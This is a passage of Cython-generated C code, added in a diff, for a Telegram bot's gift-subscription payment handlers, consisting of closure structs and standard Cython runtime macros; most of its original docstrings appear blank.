PyObject *__pyx_v_is_used; + PyObject *__pyx_v_months; + PyObject *__pyx_v_recipient; + PyObject *__pyx_v_session; + PyObject *__pyx_v_user_tg_id; +}; + + +/* "handlers/payments/gift.py":77 + * + * + * @router.callback_query(F.data == "gift") # <<<<<<<<<<<<<< + * async def gift_subscription_handler(callback_query: types.CallbackQuery): + * """ ''. .""" + */ +struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler { + PyObject_HEAD + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_months; + PyObject *__pyx_v_price; +}; + + +/* "handlers/payments/gift.py":97 + * + * + * @router.callback_query(F.data.startswith("gift|")) # <<<<<<<<<<<<<< + * async def confirm_gift_handler(callback_query: types.CallbackQuery, session: Any): + * """ .""" + */ +struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler { + PyObject_HEAD + PyObject *__pyx_v_balance; + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_price; + PyObject *__pyx_v_selected_months; + PyObject *__pyx_v_session; + PyObject *__pyx_v_user_tg_id; +}; + + +/* "handlers/payments/gift.py":137 + * + * + * @router.callback_query(F.data.startswith("confirm_gift|")) # <<<<<<<<<<<<<< + * async def finalize_gift_handler(callback_query: types.CallbackQuery, state: FSMContext, session: Any): + * """ .""" + */ +struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler { + PyObject_HEAD + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_e; + PyObject *__pyx_v_expiry_time; + PyObject *__pyx_v_gift_id; + PyObject *__pyx_v_gift_link; + PyObject *__pyx_v_price; + PyObject *__pyx_v_selected_months; + PyObject *__pyx_v_session; + PyObject *__pyx_v_state; + PyObject *__pyx_v_tg_id; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; + PyObject *__pyx_t_3; + PyObject *__pyx_t_4; + PyObject *__pyx_t_5; +}; + + +/* "handlers/payments/gift.py":190 + * return None + * + * async def validate_client_code(): # <<<<<<<<<<<<<< + * """ + * hardware ID . + */ +struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code { + PyObject_HEAD + PyObject *__pyx_v_data; + PyObject *__pyx_v_hardware_id; + PyObject *__pyx_v_payload; + PyObject *__pyx_v_response; + PyObject *__pyx_v_session; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; + PyObject *__pyx_t_3; + PyObject *__pyx_t_4; + PyObject *__pyx_t_5; + PyObject *__pyx_t_6; + PyObject *__pyx_t_7; + PyObject *__pyx_t_8; + PyObject *__pyx_t_9; + PyObject *__pyx_t_10; + PyObject *__pyx_t_11; + PyObject *__pyx_t_12; + PyObject *__pyx_t_13; + PyObject *__pyx_t_14; + PyObject *__pyx_t_15; +}; + +/* #### Code section: utility_code_proto ### */ + +/* --- Runtime support code (head) --- */ +/* Refnanny.proto */ +#ifndef CYTHON_REFNANNY + #define CYTHON_REFNANNY 0 +#endif +#if CYTHON_REFNANNY + typedef struct { + void (*INCREF)(void*, PyObject*, Py_ssize_t); + void (*DECREF)(void*, PyObject*, Py_ssize_t); + void (*GOTREF)(void*, PyObject*, Py_ssize_t); + void (*GIVEREF)(void*, PyObject*, Py_ssize_t); + void* (*SetupContext)(const char*, Py_ssize_t, const char*); + void (*FinishContext)(void**); + } __Pyx_RefNannyAPIStruct; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname); + #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL; +#ifdef WITH_THREAD + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + if (acquire_gil) {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__));\ + PyGILState_Release(__pyx_gilstate_save);\ + } else {\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__));\ + } + #define __Pyx_RefNannyFinishContextNogil() {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __Pyx_RefNannyFinishContext();\ + PyGILState_Release(__pyx_gilstate_save);\ + } +#else + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__)) + #define __Pyx_RefNannyFinishContextNogil() __Pyx_RefNannyFinishContext() +#endif + #define __Pyx_RefNannyFinishContextNogil() {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __Pyx_RefNannyFinishContext();\ + PyGILState_Release(__pyx_gilstate_save);\ + } + #define __Pyx_RefNannyFinishContext()\ + __Pyx_RefNanny->FinishContext(&__pyx_refnanny) + #define __Pyx_INCREF(r) __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_DECREF(r) __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_GOTREF(r) __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_XINCREF(r) do { if((r) == NULL); else {__Pyx_INCREF(r); }} while(0) + #define __Pyx_XDECREF(r) do { if((r) == NULL); else {__Pyx_DECREF(r); }} while(0) + #define __Pyx_XGOTREF(r) do { if((r) == NULL); else {__Pyx_GOTREF(r); }} while(0) + #define __Pyx_XGIVEREF(r) do { if((r) == NULL); else {__Pyx_GIVEREF(r);}} while(0) +#else + #define __Pyx_RefNannyDeclarations + #define __Pyx_RefNannySetupContext(name, acquire_gil) + #define __Pyx_RefNannyFinishContextNogil() + #define __Pyx_RefNannyFinishContext() + #define __Pyx_INCREF(r) Py_INCREF(r) + #define __Pyx_DECREF(r) Py_DECREF(r) + #define __Pyx_GOTREF(r) + #define __Pyx_GIVEREF(r) + #define __Pyx_XINCREF(r) Py_XINCREF(r) + #define __Pyx_XDECREF(r) Py_XDECREF(r) + #define __Pyx_XGOTREF(r) + #define __Pyx_XGIVEREF(r) +#endif +#define __Pyx_Py_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; Py_XDECREF(tmp);\ + } while (0) +#define __Pyx_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_XDECREF(tmp);\ + } while (0) +#define __Pyx_DECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_DECREF(tmp);\ + } while (0) +#define __Pyx_CLEAR(r) do { PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);} while(0) +#define __Pyx_XCLEAR(r) do { if((r) != NULL) {PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);}} while(0) + +/* PyErrExceptionMatches.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyErr_ExceptionMatches(err) __Pyx_PyErr_ExceptionMatchesInState(__pyx_tstate, err) +static CYTHON_INLINE int __Pyx_PyErr_ExceptionMatchesInState(PyThreadState* tstate, PyObject* err); +#else +#define __Pyx_PyErr_ExceptionMatches(err) PyErr_ExceptionMatches(err) +#endif + +/* PyThreadStateGet.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyThreadState_declare PyThreadState *__pyx_tstate; +#define __Pyx_PyThreadState_assign __pyx_tstate = __Pyx_PyThreadState_Current; +#if PY_VERSION_HEX >= 0x030C00A6 +#define __Pyx_PyErr_Occurred() (__pyx_tstate->current_exception != NULL) +#define __Pyx_PyErr_CurrentExceptionType() (__pyx_tstate->current_exception ? (PyObject*) Py_TYPE(__pyx_tstate->current_exception) : (PyObject*) NULL) +#else +#define __Pyx_PyErr_Occurred() (__pyx_tstate->curexc_type != NULL) +#define __Pyx_PyErr_CurrentExceptionType() (__pyx_tstate->curexc_type) +#endif +#else +#define __Pyx_PyThreadState_declare +#define __Pyx_PyThreadState_assign +#define __Pyx_PyErr_Occurred() (PyErr_Occurred() != NULL) +#define __Pyx_PyErr_CurrentExceptionType() PyErr_Occurred() +#endif + +/* PyErrFetchRestore.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyErr_Clear() __Pyx_ErrRestore(NULL, NULL, NULL) +#define __Pyx_ErrRestoreWithState(type, value, tb) __Pyx_ErrRestoreInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) __Pyx_ErrFetchInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) __Pyx_ErrRestoreInState(__pyx_tstate, type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) __Pyx_ErrFetchInState(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A6 +#define __Pyx_PyErr_SetNone(exc) (Py_INCREF(exc), __Pyx_ErrRestore((exc), NULL, NULL)) +#else +#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) +#endif +#else +#define __Pyx_PyErr_Clear() PyErr_Clear() +#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) +#define __Pyx_ErrRestoreWithState(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestoreInState(tstate, type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchInState(tstate, type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) PyErr_Fetch(type, value, tb) +#endif + +/* PyObjectGetAttrStr.proto */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name); +#else +#define __Pyx_PyObject_GetAttrStr(o,n) PyObject_GetAttr(o,n) +#endif + +/* PyObjectGetAttrStrNoError.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStrNoError(PyObject* obj, PyObject* attr_name); + +/* GetBuiltinName.proto */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name); + +/* TupleAndListFromArray.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyList_FromArray(PyObject *const *src, Py_ssize_t n); +static CYTHON_INLINE PyObject* __Pyx_PyTuple_FromArray(PyObject *const *src, Py_ssize_t n); +#endif + +/* IncludeStringH.proto */ +#include + +/* BytesEquals.proto */ +static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals); + +/* UnicodeEquals.proto */ +static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals); + +/* fastcall.proto */ +#if CYTHON_AVOID_BORROWED_REFS + #define __Pyx_Arg_VARARGS(args, i) PySequence_GetItem(args, i) +#elif CYTHON_ASSUME_SAFE_MACROS + #define __Pyx_Arg_VARARGS(args, i) PyTuple_GET_ITEM(args, i) +#else + #define __Pyx_Arg_VARARGS(args, i) PyTuple_GetItem(args, i) +#endif +#if CYTHON_AVOID_BORROWED_REFS + #define __Pyx_Arg_NewRef_VARARGS(arg) __Pyx_NewRef(arg) + #define __Pyx_Arg_XDECREF_VARARGS(arg) Py_XDECREF(arg) +#else + #define __Pyx_Arg_NewRef_VARARGS(arg) arg + #define __Pyx_Arg_XDECREF_VARARGS(arg) +#endif +#define __Pyx_NumKwargs_VARARGS(kwds) PyDict_Size(kwds) +#define __Pyx_KwValues_VARARGS(args, nargs) NULL +#define __Pyx_GetKwValue_VARARGS(kw, kwvalues, s) __Pyx_PyDict_GetItemStrWithError(kw, s) +#define __Pyx_KwargsAsDict_VARARGS(kw, kwvalues) PyDict_Copy(kw) +#if CYTHON_METH_FASTCALL + #define __Pyx_Arg_FASTCALL(args, i) args[i] + #define __Pyx_NumKwargs_FASTCALL(kwds) PyTuple_GET_SIZE(kwds) + #define __Pyx_KwValues_FASTCALL(args, nargs) ((args) + (nargs)) + static CYTHON_INLINE PyObject * __Pyx_GetKwValue_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues, PyObject *s); +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 + CYTHON_UNUSED static PyObject *__Pyx_KwargsAsDict_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues); + #else + #define __Pyx_KwargsAsDict_FASTCALL(kw, kwvalues) _PyStack_AsDict(kwvalues, kw) + #endif + #define __Pyx_Arg_NewRef_FASTCALL(arg) arg /* no-op, __Pyx_Arg_FASTCALL is direct and this needs + to have the same reference counting */ + #define __Pyx_Arg_XDECREF_FASTCALL(arg) +#else + #define __Pyx_Arg_FASTCALL __Pyx_Arg_VARARGS + #define __Pyx_NumKwargs_FASTCALL __Pyx_NumKwargs_VARARGS + #define __Pyx_KwValues_FASTCALL __Pyx_KwValues_VARARGS + #define __Pyx_GetKwValue_FASTCALL __Pyx_GetKwValue_VARARGS + #define __Pyx_KwargsAsDict_FASTCALL __Pyx_KwargsAsDict_VARARGS + #define __Pyx_Arg_NewRef_FASTCALL(arg) __Pyx_Arg_NewRef_VARARGS(arg) + #define __Pyx_Arg_XDECREF_FASTCALL(arg) __Pyx_Arg_XDECREF_VARARGS(arg) +#endif +#if CYTHON_COMPILING_IN_CPYTHON && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS +#define __Pyx_ArgsSlice_VARARGS(args, start, stop) __Pyx_PyTuple_FromArray(&__Pyx_Arg_VARARGS(args, start), stop - start) +#define __Pyx_ArgsSlice_FASTCALL(args, start, stop) __Pyx_PyTuple_FromArray(&__Pyx_Arg_FASTCALL(args, start), stop - start) +#else +#define __Pyx_ArgsSlice_VARARGS(args, start, stop) PyTuple_GetSlice(args, start, stop) +#define __Pyx_ArgsSlice_FASTCALL(args, start, stop) PyTuple_GetSlice(args, start, stop) +#endif + +/* RaiseDoubleKeywords.proto */ +static void __Pyx_RaiseDoubleKeywordsError(const char* func_name, PyObject* kw_name); + +/* ParseKeywords.proto */ +static int __Pyx_ParseOptionalKeywords(PyObject *kwds, PyObject *const *kwvalues, + PyObject **argnames[], + PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args, + const char* function_name); + +/* RaiseArgTupleInvalid.proto */ +static void __Pyx_RaiseArgtupleInvalid(const char* func_name, int exact, + Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found); + +/* PyDictVersioning.proto */ +#if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS +#define __PYX_DICT_VERSION_INIT ((PY_UINT64_T) -1) +#define __PYX_GET_DICT_VERSION(dict) (((PyDictObject*)(dict))->ma_version_tag) +#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var)\ + (version_var) = __PYX_GET_DICT_VERSION(dict);\ + (cache_var) = (value); +#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) {\ + static PY_UINT64_T __pyx_dict_version = 0;\ + static PyObject *__pyx_dict_cached_value = NULL;\ + if (likely(__PYX_GET_DICT_VERSION(DICT) == __pyx_dict_version)) {\ + (VAR) = __pyx_dict_cached_value;\ + } else {\ + (VAR) = __pyx_dict_cached_value = (LOOKUP);\ + __pyx_dict_version = __PYX_GET_DICT_VERSION(DICT);\ + }\ +} +static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj); +static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj); +static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version); +#else +#define __PYX_GET_DICT_VERSION(dict) (0) +#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var) +#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) (VAR) = (LOOKUP); +#endif + +/* GetModuleGlobalName.proto */ +#if CYTHON_USE_DICT_VERSIONS +#define __Pyx_GetModuleGlobalName(var, name) do {\ + static PY_UINT64_T __pyx_dict_version = 0;\ + static PyObject *__pyx_dict_cached_value = NULL;\ + (var) = (likely(__pyx_dict_version == __PYX_GET_DICT_VERSION(__pyx_d))) ?\ + (likely(__pyx_dict_cached_value) ? __Pyx_NewRef(__pyx_dict_cached_value) : __Pyx_GetBuiltinName(name)) :\ + __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ +} while(0) +#define __Pyx_GetModuleGlobalNameUncached(var, name) do {\ + PY_UINT64_T __pyx_dict_version;\ + PyObject *__pyx_dict_cached_value;\ + (var) = __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ +} while(0) +static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value); +#else +#define __Pyx_GetModuleGlobalName(var, name) (var) = __Pyx__GetModuleGlobalName(name) +#define __Pyx_GetModuleGlobalNameUncached(var, name) (var) = __Pyx__GetModuleGlobalName(name) +static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name); +#endif + +/* PyFunctionFastCall.proto */ +#if CYTHON_FAST_PYCALL +#if !CYTHON_VECTORCALL +#define __Pyx_PyFunction_FastCall(func, args, nargs)\ + __Pyx_PyFunction_FastCallDict((func), (args), (nargs), NULL) +static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs); +#endif +#define __Pyx_BUILD_ASSERT_EXPR(cond)\ + (sizeof(char [1 - 2*!(cond)]) - 1) +#ifndef Py_MEMBER_SIZE +#define Py_MEMBER_SIZE(type, member) sizeof(((type *)0)->member) +#endif +#if !CYTHON_VECTORCALL +#if PY_VERSION_HEX >= 0x03080000 + #include "frameobject.h" +#if PY_VERSION_HEX >= 0x030b00a6 && !CYTHON_COMPILING_IN_LIMITED_API + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif + #define __Pxy_PyFrame_Initialize_Offsets() + #define __Pyx_PyFrame_GetLocalsplus(frame) ((frame)->f_localsplus) +#else + static size_t __pyx_pyframe_localsplus_offset = 0; + #include "frameobject.h" + #define __Pxy_PyFrame_Initialize_Offsets()\ + ((void)__Pyx_BUILD_ASSERT_EXPR(sizeof(PyFrameObject) == offsetof(PyFrameObject, f_localsplus) + Py_MEMBER_SIZE(PyFrameObject, f_localsplus)),\ + (void)(__pyx_pyframe_localsplus_offset = ((size_t)PyFrame_Type.tp_basicsize) - Py_MEMBER_SIZE(PyFrameObject, f_localsplus))) + #define __Pyx_PyFrame_GetLocalsplus(frame)\ + (assert(__pyx_pyframe_localsplus_offset), (PyObject **)(((char *)(frame)) + __pyx_pyframe_localsplus_offset)) +#endif +#endif +#endif + +/* PyObjectCall.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw); +#else +#define __Pyx_PyObject_Call(func, arg, kw) PyObject_Call(func, arg, kw) +#endif + +/* PyObjectCallMethO.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg); +#endif + +/* PyObjectFastCall.proto */ +#define __Pyx_PyObject_FastCall(func, args, nargs) __Pyx_PyObject_FastCallDict(func, args, (size_t)(nargs), NULL) +static CYTHON_INLINE PyObject* __Pyx_PyObject_FastCallDict(PyObject *func, PyObject **args, size_t nargs, PyObject *kwargs); + +/* IncludeStructmemberH.proto */ +#include + +/* FixUpExtensionType.proto */ +#if CYTHON_USE_TYPE_SPECS +static int __Pyx_fix_up_extension_type_from_spec(PyType_Spec *spec, PyTypeObject *type); +#endif + +/* FetchSharedCythonModule.proto */ +static PyObject *__Pyx_FetchSharedCythonABIModule(void); + +/* FetchCommonType.proto */ +#if !CYTHON_USE_TYPE_SPECS +static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type); +#else +static PyTypeObject* __Pyx_FetchCommonTypeFromSpec(PyObject *module, PyType_Spec *spec, PyObject *bases); +#endif + +/* RaiseException.proto */ +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause); + +/* GetTopmostException.proto */ +#if CYTHON_USE_EXC_INFO_STACK && CYTHON_FAST_THREAD_STATE +static _PyErr_StackItem * __Pyx_PyErr_GetTopmostException(PyThreadState *tstate); +#endif + +/* SaveResetException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_ExceptionSave(type, value, tb) __Pyx__ExceptionSave(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#define __Pyx_ExceptionReset(type, value, tb) __Pyx__ExceptionReset(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +#else +#define __Pyx_ExceptionSave(type, value, tb) PyErr_GetExcInfo(type, value, tb) +#define __Pyx_ExceptionReset(type, value, tb) PyErr_SetExcInfo(type, value, tb) +#endif + +/* SwapException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_ExceptionSwap(type, value, tb) __Pyx__ExceptionSwap(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* PyObjectCall2Args.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2); + +/* PyObjectCallOneArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg); + +/* PyObjectGetMethod.proto */ +static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method); + +/* PyObjectCallMethod1.proto */ +static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg); + +/* PyObjectCallNoArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func); + +/* CoroutineBase.proto */ +struct __pyx_CoroutineObject; +typedef PyObject *(*__pyx_coroutine_body_t)(struct __pyx_CoroutineObject *, PyThreadState *, PyObject *); +#if CYTHON_USE_EXC_INFO_STACK +#define __Pyx_ExcInfoStruct _PyErr_StackItem +#else +typedef struct { + PyObject *exc_type; + PyObject *exc_value; + PyObject *exc_traceback; +} __Pyx_ExcInfoStruct; +#endif +typedef struct __pyx_CoroutineObject { + PyObject_HEAD + __pyx_coroutine_body_t body; + PyObject *closure; + __Pyx_ExcInfoStruct gi_exc_state; + PyObject *gi_weakreflist; + PyObject *classobj; + PyObject *yieldfrom; + PyObject *gi_name; + PyObject *gi_qualname; + PyObject *gi_modulename; + PyObject *gi_code; + PyObject *gi_frame; + int resume_label; + char is_running; +} __pyx_CoroutineObject; +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject *type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( + __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static CYTHON_INLINE void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *self); +static int __Pyx_Coroutine_clear(PyObject *self); +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value); +static PyObject *__Pyx_Coroutine_Close(PyObject *self); +static PyObject *__Pyx_Coroutine_Throw(PyObject *gen, PyObject *args); +#if CYTHON_USE_EXC_INFO_STACK +#define __Pyx_Coroutine_SwapException(self) +#define __Pyx_Coroutine_ResetAndClearException(self) __Pyx_Coroutine_ExceptionClear(&(self)->gi_exc_state) +#else +#define __Pyx_Coroutine_SwapException(self) {\ + __Pyx_ExceptionSwap(&(self)->gi_exc_state.exc_type, &(self)->gi_exc_state.exc_value, &(self)->gi_exc_state.exc_traceback);\ + __Pyx_Coroutine_ResetFrameBackpointer(&(self)->gi_exc_state);\ + } +#define __Pyx_Coroutine_ResetAndClearException(self) {\ + __Pyx_ExceptionReset((self)->gi_exc_state.exc_type, (self)->gi_exc_state.exc_value, (self)->gi_exc_state.exc_traceback);\ + (self)->gi_exc_state.exc_type = (self)->gi_exc_state.exc_value = (self)->gi_exc_state.exc_traceback = NULL;\ + } +#endif +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ + __Pyx_PyGen__FetchStopIterationValue(__pyx_tstate, pvalue) +#else +#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ + __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, pvalue) +#endif +static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *tstate, PyObject **pvalue); +static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state); + +/* PyObject_GenericGetAttrNoDict.proto */ +#if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 +static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name); +#else +#define __Pyx_PyObject_GenericGetAttrNoDict PyObject_GenericGetAttr +#endif + +/* PatchModuleWithCoroutine.proto */ +static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code); + +/* PatchGeneratorABC.proto */ +static int __Pyx_patch_abc(void); + +/* Coroutine.proto */ +#define __Pyx_Coroutine_USED +#define __Pyx_Coroutine_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CoroutineType) +#define __Pyx_Coroutine_Check(obj) __Pyx_Coroutine_CheckExact(obj) +#define __Pyx_CoroutineAwait_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CoroutineAwaitType) +#define __Pyx_Coroutine_New(body, code, closure, name, qualname, module_name)\ + __Pyx__Coroutine_New(__pyx_CoroutineType, body, code, closure, name, qualname, module_name) +static int __pyx_Coroutine_init(PyObject *module); +static PyObject *__Pyx__Coroutine_await(PyObject *coroutine); +typedef struct { + PyObject_HEAD + PyObject *coroutine; +} __pyx_CoroutineAwaitObject; +static PyObject *__Pyx_CoroutineAwait_Close(__pyx_CoroutineAwaitObject *self, PyObject *arg); +static PyObject *__Pyx_CoroutineAwait_Throw(__pyx_CoroutineAwaitObject *self, PyObject *args); + +/* GetAwaitIter.proto */ +static CYTHON_INLINE PyObject *__Pyx_Coroutine_GetAwaitableIter(PyObject *o); +static PyObject *__Pyx__Coroutine_GetAwaitableIter(PyObject *o); + +/* CoroutineYieldFrom.proto */ +static CYTHON_INLINE PyObject* __Pyx_Coroutine_Yield_From(__pyx_CoroutineObject *gen, PyObject *source); + +/* GetException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_GetException(type, value, tb) __Pyx__GetException(__pyx_tstate, type, value, tb) +static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* pep479.proto */ +static void __Pyx_Generator_Replace_StopIteration(int in_async_gen); + +/* DictGetItem.proto */ +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key); +#define __Pyx_PyObject_Dict_GetItem(obj, name)\ + (likely(PyDict_CheckExact(obj)) ?\ + __Pyx_PyDict_GetItem(obj, name) : PyObject_GetItem(obj, name)) +#else +#define __Pyx_PyDict_GetItem(d, key) PyObject_GetItem(d, key) +#define __Pyx_PyObject_Dict_GetItem(obj, name) PyObject_GetItem(obj, name) +#endif + +/* PyObjectFormatSimple.proto */ +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + PyObject_Format(s, f)) +#elif PY_MAJOR_VERSION < 3 + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + likely(PyString_CheckExact(s)) ? PyUnicode_FromEncodedObject(s, NULL, "strict") :\ + PyObject_Format(s, f)) +#elif CYTHON_USE_TYPE_SLOTS + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + likely(PyLong_CheckExact(s)) ? PyLong_Type.tp_repr(s) :\ + likely(PyFloat_CheckExact(s)) ? PyFloat_Type.tp_repr(s) :\ + PyObject_Format(s, f)) +#else + #define __Pyx_PyObject_FormatSimple(s, f) 